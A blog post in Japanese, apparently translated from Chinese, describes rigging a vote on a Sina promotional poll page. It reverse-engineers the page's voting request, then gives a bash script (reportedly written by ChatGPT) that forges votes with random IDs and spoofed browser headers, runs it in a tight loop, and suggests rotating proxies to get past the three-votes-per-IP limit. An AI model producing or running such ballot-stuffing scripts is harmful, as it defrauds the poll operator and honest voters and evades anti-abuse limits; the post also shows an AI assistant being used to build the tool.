亲戚が私に新浪の投票リンクをくれました。
アドレスは http://h5.locate.sina.com.cn/h5/year/activity/
です。
このプラットフォームでは WeChat でのログインは必要ありません。自分のブラウザで投票をしてリクエストを確認しました。
callback=jQuery1830560859883008xxx_171833334xxx&uid=5&uu=444192xxxx&_=171833338xxxx
JavaScript をチェックして暗号化されているか確認してみましょう。
明らかに暗号化されていませんが、投票ロジックのコードは見つかりませんでした。
ページの要素をチェックしてみましょう。
見逃しましたが、ロジックのコードが HTML に直接書かれています。
重要な部分を直接見つけましょう。
if(!localStorage.getItem('uu')){
localStorage.setItem('uu', Math.ceil(Math.random()*10000000000));
}
$(".n").on("click",function (){
var index=$(this).parents("li").index();
var uu=localStorage.getItem('uu');
console.log(index);
$.ajax({
url: URL+'u',
type:'get',
data: {uid:index+1,uu:uu},
dataType: "jsonp",
jsonp: "callback",
success: function(res) {
if(res.info){
//alert(res.info);
$(".tips").text(res.info).fadeIn();
setTimeout(function (){
$(".tips").fadeOut();
},2000);
newslist(index); //データの更新
return 0;
}
}
});
これらのコードのほとんどが投票ロジックです。
主に 3 つのパラメータ callback
uid
uu
を渡しています。
callback
は通常の jQuery リクエストで、パラメータは jQuery
の後に任意の数字を付け、アンダースコアの後にタイムスタンプを付けるだけです。
uid
は投票のプロジェクトです。
uu
は投票の検証ですが、このコードは既に書かれています(明示的に暗号化されていないので、なぜ検証が必要なのかはわかりません)。おそらくリプレイ攻撃を防ぐためです。
そして、通常のユーザーを模倣するためにリクエストヘッダーを持ってきます。
ChatGPT にスクリプトを書かせましょう。
#!/bin/bash
# blog.baka.plus 转载请注明来源
# ターゲットURLを定義
BASE_URL="http://admin.h5sina.com/activity/index/u"
# ランダムなuu値を生成し、既に存在する場合は既存の値を使用します
if [ -z "$LOCAL_UU" ]; then
LOCAL_UU=$(shuf -i 1-10000000000 -n 1)
fi
# 他の必要なパラメータを定義
UID11=5 #uidを使わないようにしてシステム変数との衝突を防ぐ
TIMESTAMP=$(date +%s%N | cut -b1-13)
CALLBACK="jQuery183044178990760114514_$TIMESTAMP"
# 完全なURLを構築
URL="$BASE_URL?callback=$CALLBACK&uid=$UID11&uu=$LOCAL_UU&_=$TIMESTAMP" #最後のパラメータはキャッシュに使用するために省略することもできますが、正常なリクエストと一致させるために残しておきます
# curlリクエストを実行
curl "$URL" \
-H 'Accept: */*' \
-H 'Accept-Language: zh-CN,zh;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Referer: http://h5.xxx.sina.com.cn/' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36'
ループして実行します。
while true
do
bash script.sh
sleep 0.1
done
1 つの IP アドレスで 3 回しか投票できないため、3 枚の投票ごとにプロキシを変更する必要がありますが、ここでは省略します。
この記事は Mix Space からの同期更新であり、xLog にも掲載されています。
元のリンクは https://blog.baka.plus/posts/tech/sina-vote-platform-vote-manipulation です。